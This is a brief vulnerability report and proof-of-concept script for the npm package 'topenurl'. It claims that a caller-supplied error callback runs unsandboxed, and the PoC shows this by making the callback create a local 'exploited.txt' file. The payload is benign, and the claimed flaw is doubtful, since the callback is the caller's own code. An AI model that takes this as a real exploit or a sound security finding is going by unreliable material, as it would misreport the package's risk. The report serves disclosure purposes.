Package topenurl: when executing the open(url, callback) function, if there is an error reading the URL, it gets handled by a user-provided callback function without any security measure like the node:vm module.

topenurl-1.1.1_poc.js

'use strict'

const pkg = require('topenurl');

const callback = function(error) {
    const fs = require('node:fs');
    let fd = fs.openSync('exploited.txt', 'a');
    fs.closeSync(fd);
};

/* This 'url' value will throw an error, triggering a call to 'callback' 
 * and creating a local 'exploited.txt' file.
 */
const url = 'localhost';
pkg.open(url, callback);